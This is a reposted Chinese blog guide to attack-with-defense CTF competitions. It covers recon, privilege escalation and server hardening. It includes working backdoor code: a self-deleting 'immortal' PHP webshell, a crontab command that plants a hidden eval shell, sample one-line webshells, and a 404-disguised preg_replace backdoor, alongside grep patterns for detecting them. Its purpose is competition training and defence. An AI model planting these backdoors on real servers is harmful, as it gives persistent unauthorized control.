0
0

(1)AWD入门攻略大纲

1.比赛介绍

(1)比赛环境

(2)常见服务器信息介绍

  • 比赛名称
  • 白名单：一般用于防止外部恶意攻击，如果赛方发现名单以外IP可能会进行封禁处理。
  • 服务器账号密码
  • Token和虚拟IP：token为提交答案的凭证，绑定了队伍；虚拟IP为靶机访问网址。
  • 其他选手地址：例如192-168-x-250.pvp923.bugku.cn，x可以是1-255内任一个数字，需要自己扫描可ping通ip并记录。
  • Flag提交区域
  • 提交脚本API：最好提前写好提交脚本

(3)题型

  • 主要题型为WEB和PWN，涉及语言多数为PHP，还有少量Java、Python。
  • WEB主要是一些CMS和框架安全漏洞，如注入、上传和反序列化等，更多是依赖已知漏洞。

(4)攻防思路

2.攻击思路

(1)信息收集（攻击）

①主机探测（nmap、httpscan）

  • 扫描C段存活主机

②端口探测（nmap）

  • 首先搜集自己端口信息 ，再类比扫描其他主机

③应用发现（代表性文件）

  • 组件发现

  • 网站发现

  • 日志发现

④备份扫描

https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

https://github.com/maurosoria/dirsearch WEB网站目录扫描

(2)攻击主机端口

https://github.com/cwkiller/unauthorized-check 未授权检测工具

(3)攻击Web服务

一般通过访问获取的端口就能访问到预设的WEB靶场，Web环境分为两种：
  • 已有漏洞框架：如Struts2各种漏洞等等，提前准备好工具扫出来
  • 出题人设计框架：分析WEB日志，学习其他选手攻击思路和漏洞利用过程

(4)权限提升

Linux 提权总结 - 腾讯云开发者社区-腾讯云 一般提权

https://github.com/SecWiki/linux-kernel-exploits 提权脚本

(5)权限维持

拿到WEBSHELL后，需要维持权限！简单的WEBSHELL 一眼就会被识别，在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限，以便后续刷 FLAG，再考虑提升权限。

  • 隐藏的文件读取（条件允许的话，将flag信息直接读取并返回到header头中，这样做不易被发现）

  • PHP不死马案例

<?php
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0，即没有时间方面的限制。
unlink(__FILE__); 删除文件本身，以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
  • 定时马案例
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==
\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" >/var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

(6)快速得分

3.防御技术

(1)网站备份

  目的是防止修改源码出错，或被对手恶意删除源码，或快速恢复网站防止被裁判组check探测服务存活失败丢分。

** ①压缩文件**

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

** ②解压文件**

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

③备份到服务器

mv web.tar /tmp
mv web.zip /home/xxx

** ④本地上传下载文件**

scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

(2)数据备份

  php网站数据库配置信息为

config.php/web.conf（待补充python和java）

①备份指定数据库

mysqldump
–u
username –p
password databasename

bak.sql

②备份所有数据库

mysqldump –

all -databases

bak.sql

③导入数据库

mysql –

u username –
p password database
< bak.sql

(3)信息收集****（防御）

netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID，以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG

(4)口令更改

  信息搜集后，将未授权和弱口令问题及时修复,包括但不限于

服务器SSH口令、数据库口令和WEB服务口令(后台密码)

passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证

(5)备份检查（防止备份被删除）

find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip"

(6)后门查杀****（要不断监控）

  命令查看可疑文件： 

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
  • 一般查杀：河马WEBSHELL和D盾查杀
# phpwebshell
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUESTS['cmd']); ?>

# jspwebshell
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# aspwebshell
<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>
  • 不死马查杀：杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
  • 后门用户查杀：UID大于500的都是非系统账号，500以下的都为系统保留的账号，使用userdel -r username 完全删除账户
  • 其他查杀****：部分后门过于隐蔽，可以使用 ls -al命令查看所有文件及文件修改时间和内容进行综合判断，进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等
经典preg_replace伪装的404后门示例：
使用菜刀连接 密码：error

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');
?>

(7)关闭进程

ps -aux #查看进程
kill -9 pid #强制进程查杀

(8)关闭端口

netstat -anp #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙

(9)漏洞修复

  漏洞修复遵循保证服务不长时间宕机的情况下进行修复, 多使用安全过滤函数，能修复尽量修复,不能修复先注释或删除相关代码，但需保证页面显示正常。

可以下载文件到本地进行修改后上传到服务器进行覆盖操作，也可以直接通过vim编辑器进行代码修复操作****，恢复参考：

  • Web常见漏洞描述及修复建议 - 我超怕的 - 博客园 常规漏洞修复建议
  • PHP中的安全函数 - 踏雪无痕SS - 博客园 PHP安全函数

(10)文件监控

      文件监控能及时防止木马文件后门生成，及时防止删除丢失 

  • 文件监控脚本：    GitHub - TheKingOfDuck/FileMonitor: 文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)

(11)部署WAF

比赛规则决定能否部署WAF和监控工具。WAF具有两面性，抵挡大部分攻击的同时，
可能因为某些函数无法使用导致服务宕机。WAF可以自己写，也可以使用如
安全狗等第三方WAF。 

  • 常见PHP网站系统WAF添加路径：

DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php

  • WAF脚本参考：    GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF，日志审计功能。
标签： AWD CTF 网络安全
本文转载自: https://blog.csdn.net/qq_35494772/article/details/128256363
版权归原作者 Bug型程序员 所有， 如有侵权，请联系我们删除。
登录后发布评论

“(1)AWD入门攻略大纲”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

docker删除容器要怎么操作？如何保障容器安全！

解决IPv6网络引起的网页与程序卡顿问题-本地DNS解析方案

使用vant UI实现时间段选择

CTF菜狗日记 Web 简单绕过（一）

Apache Tomcat输入验证码错误漏洞（CVE-2023-46589）

快速在本地运行SpringBoot项目的流程介绍

OpenCV库学习之cv2.normalize函数

文章导航